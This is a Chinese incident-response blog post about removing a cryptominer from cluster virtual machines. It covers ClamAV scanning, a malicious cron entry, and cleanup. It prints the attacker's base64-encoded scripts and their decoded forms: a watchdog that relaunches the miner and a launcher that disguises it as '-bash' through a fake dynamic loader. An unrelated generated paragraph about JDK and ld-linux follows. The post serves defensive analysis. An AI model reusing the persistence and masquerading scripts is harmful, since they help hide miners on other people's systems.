异常进程“ld-linux-x86-64”引发的一次集群遭到黑客攻击问题的解决

一、现象:

平台集群中的虚拟机,存在异常进程“ld-linux-x86-64”,占用了大量cpu资源。其次,重启虚拟机之后,虚拟机的操作系统ROOT用户密码会被修改,初步判断原因为被黑客攻击。

二、探索:

安装杀毒软件clamav

1040  yum install clamd -y

 1043  freshclam

 1049  service clamd start

 1052  chkconfig clamd on

 1053  clamdscan -V

 1054  clamscan -r / --move=/tmp

附clamscan命令参数说明:

1、 全盘扫描:# clamscan -r /

2、 扫描到病毒后立即删除(慎用):# clamscan -r / --remove

3、 扫描到病毒后立即移动到/tmp目录:# clamscan -r / --move=/tmp

4、 生成扫描日志文件:# clamscan/tmp/1.txt -l /var/log/clamscan.log

5、 常用选项:

(1) --quiet:只打印错误信息

(2) -i | --infected:只打印被感染的文件

(3) --remove[=yes/no(*)]:移除被感染的文件

(4) --move=DIRECTORY:将被感染的文件移至指定目录

(5) --copy=DIRECTORY:将被感染的文件复制至指定目录

(6) --exclude=REGEX:不扫描与正则表达式匹配的文件

(7) --exclude-dir=REGEX:不扫描与正则表达式匹配的目录

(8) --include=REGEX:只扫描与正则表达式匹配的文件

(9) --include-dir=REGEX:只扫描与正则表达式匹配的目录

-----------扫描摘要-----------

已知病毒:6778248

发动机版本:0.100.2

扫描目录:24595

扫描文件:136784

受感染的文件:3

总错误:6043

扫描数据:8724.49 MB

数据读取:8392.82 MB(比率1.04:1

---------------------------------

删除感染文件之后,问题依然在,暂时排除病毒的可能。

三、突破:

由于问题进程杀了又起来,换言之“杀不死”,那么一定有程序在监控并拉起它。最简单的实现方式就是利用Linux系统的“crontab”了。Crontab定时器通常用来执行定时任务或周期性任务,使用起来简单方便。于是随手检查了一下定时任务列表,终端键入命令“crontab -l”,发现:

        * * * * * /sbin/upd >/dev/null 2>&1

        意思是:/sbin/upd脚本每分钟执行一次,执行的返回内容不输出到控制台。

脚本内容是:

#!/usr/bin/env bash

echo 'IyEvYmluL3NoCmlmIHRlc3QgLXIgL3NiaW4vaW5pdGN0MTsgdGhlbgpwaWQ9JChjYXQgL3NiaW4v

aW5pdGN0MSkKaWYgJChraWxsIC1DSExEICRwaWQgPi9kZXYvbnVsbCAyPiYxKQp0aGVuCnNsZWVw

IDEKZWxzZQpjZCAvc2JpbgouL21rZTNmcyAmPi9kZXYvbnVsbApleGl0IDAKZmkKZmkK' | base64 -di | sh

显然,这是一个加密了的脚本,根据后面的“bash64 -di”

意思应该是用bash64编码方式解码,再后面的“sh”,意思是执行 解码后的内容。

清理相关文件:

1.清除定时器中的定时任务

2.杀掉异常进程

3.删掉分析出的所有涉及脚本及可执行文件

   rm -rf /sbin/upd

   rm -rf /sbin/initct1

   rm -rf /sbin/mke3fs

   rm -rf /sbin/s1n

   rm -rf /sbin/ld-linux-x86-64.so.2

   rm -rf /sbin/libpthread.so.1

4.修改root用户密码

四、分析:

涉及的脚本

1)/sbin/upd

脚本原文

#!/usr/bin/env bash
echo 'IyEvYmluL3NoCmlmIHRlc3QgLXIgL3NiaW4vaW5pdGN0MTsgdGhlbgpwaWQ9JChjYXQgL3NiaW4v
aW5pdGN0MSkKaWYgJChraWxsIC1DSExEICRwaWQgPi9kZXYvbnVsbCAyPiYxKQp0aGVuCnNsZWVw
IDEKZWxzZQpjZCAvc2JpbgouL21rZTNmcyAmPi9kZXYvbnVsbApleGl0IDAKZmkKZmkK' | base64 -di | sh

脚本解码后的真实内容

#!/bin/sh
if test -r /sbin/initct1; then
pid=$(cat /sbin/initct1)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
sleep 1
else
cd /sbin
./mke3fs &>/dev/null
exit 0
fi
fi

功能:

        进程守护

2)/sbin/upd

脚本原文

#!/usr/bin/env bash

echo 'IyEvYmluL2Jhc2gKLi9zMW4gLXMgIi1iYXNoIiAtcCBpbml0Y3QxIC4vbGQtbGludXgteDg2LTY0

LnNvLjIgLS1saWJyYXJ5LXBhdGggLiAuL2xpYnB0aHJlYWQuc28uMSA+Pi9kZXYvbnVsbCAmCg==' | base64 -di | sh

脚本解码后的真实内容

#!/bin/bash
./s1n -s "-bash" -p initct1 ./ld-linux-x86-64.so.2 --library-path . ./libpthread.so.1 >>/dev/null &

功能:

        实现主功能(挖矿以及其他不可说的任务)

3)/sbin/initct1

功能:用来存放 进程ID。

可执行文件

 

/sbin/s1n

/sbin/ld-linux-x86-64.so.2

/sbin/libpthread.so.1

  • 6
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
JDK是"Java Development Kit"(Java开发工具包)的缩写,它是一个开发Java程序的软件包。JDK包含了Java编程语言的编译器(javac),Java运行时环境(JRE),以及其他开发工具和库。通过JDK,开发者可以编写、编译和运行Java程序。 而ld-linux-x86-64.so.2是一个动态链接器,它是Linux操作系统上用于加载和链接共享库的重要组件。在Linux系统上,通常会使用动态链接库来共享公共的代码和函数,以降低程序的内存占用和提高效率。ld-linux-x86-64.so.2会在程序运行时自动加载和链接所需的共享库,以便程序能够正常执行。 JDK和ld-linux-x86-64.so.2在不同的领域扮演着不同的角色。JDK是开发Java程序的工具包,它提供了编译、运行和调试Java代码的环境。开发者可以使用JDK编写和测试Java程序,并且进行性能优化和错误调试。 而ld-linux-x86-64.so.2是操作系统级别的组件,它在程序执行过程中负责加载和链接共享库,以便程序能够正常运行。在Linux系统中,很多应用程序都依赖于各种共享库,而ld-linux-x86-64.so.2会在程序启动时自动加载这些共享库,并将它们链接到程序中。 总结来说,JDK是用于开发Java程序的工具包,而ld-linux-x86-64.so.2是Linux操作系统上的动态链接器,用于加载和链接共享库。它们在不同的层级上发挥着不同的作用,但都对程序的编译、运行和执行起着重要的作用。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值